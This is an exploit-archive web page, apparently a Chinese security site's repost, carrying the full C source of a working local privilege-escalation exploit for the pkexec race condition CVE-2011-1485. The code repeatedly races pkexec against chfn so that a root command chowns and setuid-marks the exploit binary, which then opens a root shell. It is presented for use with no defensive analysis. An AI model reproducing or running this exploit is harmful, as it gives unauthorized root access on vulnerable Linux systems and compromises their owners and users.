首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
pkexec Race Condition Privilege Escalation Exploit
来源:http://www.wooyun.org 作者:xi4oyu 发布时间:2011-10-09  

/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
¡Á U can reach us  @ http://www.wooyun.org :)
*/
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>

 

int main(int argc,char *argv[], char ** envp)
{
 
 time_t tim_seed1;
 pid_t pid_seed2;
 int result;
 struct stat stat_buff;
 
 char * chfn_path = "/usr/bin/chfn";
 char cmd_buff[4096];
 
 char * pkexec_argv[] = {
  "/usr/bin/pkexec",
  "/bin/sh",
  "-c",
  cmd_buff,
  NULL
 };
 int pipe1[2];
 int pipe2[2];
 int pipe3[2]; 
 pid_t pid,pid2 ;
 char * chfn_argv[] = {
  "/usr/bin/chfn",
  NULL
 };

 char buff[8];
 char read_buff[4096];
 char real_path[512]; 
 struct termios termios_p;
 
 int count = 0;
 int flag = 0;
 int usleep1 = 0;
 int usleep2 = 0;

 
 bzero(cmd_buff,4096);
 bzero(real_path,512);
 realpath(argv[0],real_path);
 
 tim_seed1 = time(NULL);
 pid_seed2 = getpid();
 srand(tim_seed1+pid_seed2);
 

 
 
 //get terminal attr
 tcgetattr(0,&termios_p);
 snprintf(cmd_buff,4095,"/bin/chown root:root %s; /bin/chmod 4755 %s",real_path,real_path);
// printf("Cmd line:%s",cmd_buff);
 if(! geteuid()){
 //Succs => r00t!
  char * exec_argv[2]={
   "/bin/sh",
   NULL
  };
  setuid(0);
  setgid(0);
  execve("/bin/sh",exec_argv,0);
  perror("execve shell");
  exit(-1);
 }

 printf("pkexec local root exploit by xi4oyu , thx to dm\n");
 
 if(pipe(pipe1)){
  perror("pipe");
  exit(-2);
 }
 
 for(count = 500; count && !flag; count--){
 
 // printf("Count %d\n",count);
  pid = fork();
  if( !pid ){
   // Parent
   if( !pipe(pipe2)){
   
    if(!pipe(pipe3)){
     pid2 = fork();
     if(!pid2){
      // Parent 2
      close(1);
      close(2);
      close(pipe1[0]);
      dup2(pipe1[1],2);
      dup2(pipe1[1],1);
      close(pipe1[1]);
      close(pipe2[0]);
      close(pipe3[1]);
      write(pipe2[1],"\xFF",1);
      read(pipe3[0],&buff,1);
          
      execve(pkexec_argv[0],pkexec_argv,envp);
      perror("execve pkexec");
      exit(-3);
     
     }
     close(0);
     close(1);
     close(2);
     close(pipe2[1]);
     close(pipe3[0]);
     read(pipe2[0],&buff,1);
     write(pipe3[1],"\xFF",1);
     usleep(usleep1+usleep2);

     execve(chfn_argv[0],chfn_argv,envp);
     perror("execve setuid");
     exit(1);
    }
    

   }
   perror("pipe3");
   exit(1);    
  }
  
  //Note: This is child, no pipe3 we use poll to monitor pipe1[0]
  memset(pipe3,0,8);
  
  struct pollfd * pollfd = (struct pollfd *)(&pipe3);
  pollfd->fd = pipe1[0];
  pollfd->events =  POLLRDNORM;
  
  if(poll(pollfd,1,1000) < 0){
  
   perror("poll");
   exit(1);
  }
  
  if(pollfd->revents & POLLRDNORM ){
   memset(read_buff,0,4096);
   read(pipe1[0],read_buff,4095);
   if( strstr(read_buff,"does not match")){
    usleep1 += 500;
    usleep2 = rand() % 1000;
   
   }else{
    usleep1 -= 500;
    
   
   }
  
  
  }
  
  if(!stat(real_path,&stat_buff)){
   if(!stat_buff.st_uid){
    if(!stat_buff.st_gid){
     if(stat_buff.st_mode & 0x800){
      
      char *exec_array[]={
       real_path,
       NULL
      };
      
      flag = 1;
      tcsetattr(0,2,&termios_p);
      execve(real_path,exec_array,0);
      perror("execve self");
      exit(1);
     }
    }
   
   }
  }
  
  tcsetattr(0,2,&termios_p);
 
 }
  result = 0;
  return result;

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.22 Local root
·Spreecommerce 0.60.1 Arbitrary
·Linux Kernel el5 Local root Ex
·Linux Kernel 2.6.9-34 Local ro
·Linux kernel-2.6.18-6 x86 Loca
·Linux pkexec and polkitd 0.96
·Linux x86 Blind Port 1122 Conn
·ScriptFTP <= 3.3 Remote Buffer
·Linux X86 Addnew Users 'root'
·Opera Browser 10/11/12 (SVG la
·Linux Kernel 2.6.17 x86i386 Lo
·Snortreport nmap.php and nbtsc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved